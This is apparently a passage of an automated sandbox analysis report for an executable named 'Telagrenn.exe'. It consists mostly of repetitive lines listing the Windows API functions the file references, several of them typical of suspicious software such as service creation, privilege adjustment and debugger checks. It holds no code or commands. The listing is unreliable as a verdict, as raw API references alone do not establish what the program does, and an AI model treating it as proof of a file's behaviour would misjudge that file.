CertFreeCertificateContext (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00003244)3d:Tad07,Found reference to API (Indicator: "GetStartupInfoA"; File: "Telagrenn.exe") Found reference to API (Indicator: "FreeLibrary"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "Telagrenn.exe") Found reference to API (Indicator: "WriteFile"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrlenA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "Telagrenn.exe") Found reference to API (Indicator: "ExitProcess"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcmpA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcatA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileSize"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcpyA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetLastError"; File: "Telagrenn.exe") Found reference to API (Indicator: "VirtualFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateFileA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateMutexA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CloseHandle"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteFileA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTempPathA"; File: "Telagrenn.exe") Found reference to API (Indicator: "wsprintfA"; File: "Telagrenn.exe") Found reference to API (Indicator: "MessageBoxA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetThreadPreferredUILanguages"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "SetThreadPreferredUILanguages"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "GetThreadUILanguage"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "GetLongPathNameW"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "RtlCompareUnicodeString"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "SetSearchPathMode"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "SetProcessDEPPolicy"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found reference to API (Indicator: "CreateServiceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteService"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetUserNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "StartServiceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CloseServiceHandle"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenSCManagerW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegCloseKey"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenServiceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ControlService"; File: "Telagrenn.exe") Found reference to API (Indicator: "VirtualProtect"; File: "Telagrenn.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "Telagrenn.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "Telagrenn.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetACP"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetLastError"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "Telagrenn.exe") Found reference to API (Indicator: "FlsFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "Telagrenn.exe") Found reference to API (Indicator: "TerminateProcess"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "Telagrenn.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "Telagrenn.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "Telagrenn.exe") Found reference to API (Indicator: "Sleep"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "Telagrenn.exe") Found reference to API (Indicator: "RtlUnwind"; File: "Telagrenn.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapSize"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetStdHandle"; File: "Telagrenn.exe") Found reference to API (Indicator: "DecodePointer"; File: "Telagrenn.exe") Found reference to API (Indicator: "EncodePointer"; File: "Telagrenn.exe") Found reference to API (Indicator: "FlsSetValue"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "Telagrenn.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "Telagrenn.exe") Found reference to API (Indicator: "InterlockedFlushSList"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileType"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCPInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetOEMCP"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "Telagrenn.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "Telagrenn.exe") Found reference to API (Indicator: "LCMapStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindClose"; File: "Telagrenn.exe") Found reference to API (Indicator: "RaiseException"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetStdHandle"; File: "Telagrenn.exe") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetExitCodeThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindNextFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "FlsGetValue"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "ExitThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "Telagrenn.exe") Found reference to API (Indicator: "MoveFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "FlsAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "Telagrenn.exe") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetComputerNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "LocalFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "VariantInit"; File: "Telagrenn.exe") Found reference to API (Indicator: "SysFreeString"; File: "Telagrenn.exe") Found reference to API (Indicator: "VariantClear"; File: "Telagrenn.exe") Found reference to API (Indicator: "SysAllocString"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoUninitialize"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFullPathNameA"; File: "Telagrenn.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindNextFileA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTickCount"; File: "Telagrenn.exe") Found reference to API (Indicator: "CompareStringA"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetConsoleMode"; File: "Telagrenn.exe") Found reference to API (Indicator: "WriteConsoleA"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReadFile"; File: "Telagrenn.exe") Found reference to API (Indicator: "CompareStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "Telagrenn.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "Telagrenn.exe") Found reference to API (Indicator: "AllocConsole"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReadConsoleA"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharToOemA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharLowerA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "Telagrenn.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenThreadToken"; File: "Telagrenn.exe") Found reference to API (Indicator: "FreeSid"; File: "Telagrenn.exe") Found reference to API (Indicator: "EqualSid"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcpynA"; File: "Telagrenn.exe") Found reference to API (Indicator: "MulDiv"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalLock"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHBrowseForFolderA"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetMalloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetPathFromIDListA"; File: "Telagrenn.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "Telagrenn.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetClassInfoA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadCursorA"; File: "Telagrenn.exe") Found reference to API (Indicator: "TranslateMessage"; File: "Telagrenn.exe") Found reference to API (Indicator: "SendMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDC"; File: "Telagrenn.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "Telagrenn.exe") Found reference to API (Indicator: "DefWindowProcA"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegisterClassA"; File: "Telagrenn.exe") Found reference to API (Indicator: "TranslateAcceleratorA"; File: "Telagrenn.exe") Found reference to API (Indicator: "OleUninitialize"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateStreamOnHGlobal"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoInitialize"; File: "Telagrenn.exe") Found reference to API (Indicator: "OleInitialize"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptCreateHash"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptDestroyHash"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptGetHashParam"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptReleaseContext"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegEnumKeyExA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptAcquireContextW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CryptHashData"; File: "Telagrenn.exe") Found reference to API (Indicator: "DisableThreadLibraryCalls"; File: "Telagrenn.exe") Found reference to API (Indicator: "TlsGetValue"; File: "Telagrenn.exe") Found reference to API (Indicator: "ResetEvent"; File: "Telagrenn.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateFileMappingA"; File: "Telagrenn.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "Telagrenn.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "Telagrenn.exe") Found reference to API (Indicator: "LocalAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapCreate"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsValidLocale"; File: "Telagrenn.exe") Found reference to API (Indicator: "MapViewOfFileEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "Telagrenn.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcmpiA"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetEvent"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "Telagrenn.exe") Found reference to API (Indicator: "TlsAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "Telagrenn.exe") Found reference to API (Indicator: "TlsFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateFileMappingW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "Telagrenn.exe") Found reference to API (Indicator: "HeapDestroy"; File: "Telagrenn.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "Telagrenn.exe") Found reference to API (Indicator: "TlsSetValue"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateEventW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "Telagrenn.exe") Found reference to API (Indicator: "UuidCreate"; File: "Telagrenn.exe") Found reference to API (Indicator: "WTSUnRegisterSessionNotification"; File: "Telagrenn.exe") Found reference to API (Indicator: "WTSRegisterSessionNotification"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegEnumValueW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegFlushKey"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegCreateKeyExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "Telagrenn.exe") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; File: "Telagrenn.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegDeleteValueW"; File: "Telagrenn.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegEnumKeyExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegDeleteKeyW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetOpenFileNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSaveFileNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetStretchBltMode"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateSolidBrush"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteDC"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetObjectW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetStockObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "StretchBlt"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "Telagrenn.exe") Found reference to API (Indicator: "BitBlt"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "RoundRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "SelectObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDIBits"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateFontIndirectW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetDIBits"; File: "Telagrenn.exe") Found reference to API (Indicator: "PeekNamedPipe"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetThreadLocale"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateProcessW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetProfileStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SizeofResource"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetThreadPriority"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetLogicalDrives"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrcmpW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetVersion"; File: "Telagrenn.exe") Found reference to API (Indicator: "FormatMessageW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetLocalTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenProcess"; File: "Telagrenn.exe") Found reference to API (Indicator: "ResumeThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCPInfoExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalAddAtomW"; File: "Telagrenn.exe") Found reference to API (Indicator: "FreeResource"; File: "Telagrenn.exe") Found reference to API (Indicator: "SwitchToThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CompareFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateNamedPipeW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "Telagrenn.exe") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadResource"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateMutexW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFilePointer"; File: "Telagrenn.exe") Found reference to API (Indicator: "VerSetConditionMask"; File: "Telagrenn.exe") Found reference to API (Indicator: "VirtualQuery"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReleaseMutex"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetHandleInformation"; File: "Telagrenn.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalFindAtomW"; File: "Telagrenn.exe") Found reference to API (Indicator: "LockResource"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreatePipe"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetOverlappedResult"; File: "Telagrenn.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "FormatMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetVolumeInformationW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GlobalDeleteAtom"; File: "Telagrenn.exe") Found reference to API (Indicator: "TerminateThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFileTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetUserDefaultLangID"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumResourceNamesW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SuspendThread"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetVersionExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "MoveFileExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDateFormatW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WaitForMultipleObjectsEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WriteProfileStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "FindResourceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumCalendarInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetThreadPriority"; File: "Telagrenn.exe") Found reference to API (Indicator: "lstrlenW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CopyFileW"; File: "Telagrenn.exe") Found reference to API (Indicator: "TransactNamedPipe"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemWindowsDirectoryW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetThreadLocale"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetNamedPipeHandleState"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "Telagrenn.exe") Found reference to API (Indicator: "OpenMutexW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "VirtualQueryEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "Telagrenn.exe") Found reference to API (Indicator: "WNetGetUniversalNameW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WNetEnumResourceW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WNetOpenEnumW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WNetGetConnectionW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WNetCloseEnum"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoDisconnectObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "Telagrenn.exe") Found reference to API (Indicator: "CLSIDFromString"; File: "Telagrenn.exe") Found reference to API (Indicator: "StringFromCLSID"; File: "Telagrenn.exe") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsEqualGUID"; File: "Telagrenn.exe") Found reference to API (Indicator: "VariantCopy"; File: "Telagrenn.exe") Found reference to API (Indicator: "VariantCopyInd"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayPutElement"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayUnaccessData"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayPtrOfIndex"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetActiveObject"; File: "Telagrenn.exe") Found reference to API (Indicator: "SysReAllocStringLen"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayGetUBound"; File: "Telagrenn.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayAccessData"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayGetLBound"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayCreate"; File: "Telagrenn.exe") Found reference to API (Indicator: "SafeArrayGetElement"; File: "Telagrenn.exe") Found reference to API (Indicator: "VariantChangeType"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShellExecuteW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "Telagrenn.exe") Found reference to API (Indicator: "Shell_NotifyIconW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetFileInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsChild"; File: "Telagrenn.exe") Found reference to API (Indicator: "ScreenToClient"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetScrollPos"; File: "Telagrenn.exe") Found reference to API (Indicator: "PeekMessageW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateIcon"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSysColor"; File: "Telagrenn.exe") Found reference to API (Indicator: "CheckMenuItem"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharToOemBuffA"; File: "Telagrenn.exe") Found reference to API (Indicator: "PeekMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetKeyNameTextW"; File: "Telagrenn.exe") Found reference to API (Indicator: "InsertMenuItemW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetCursor"; File: "Telagrenn.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "Telagrenn.exe") Found reference to API (Indicator: 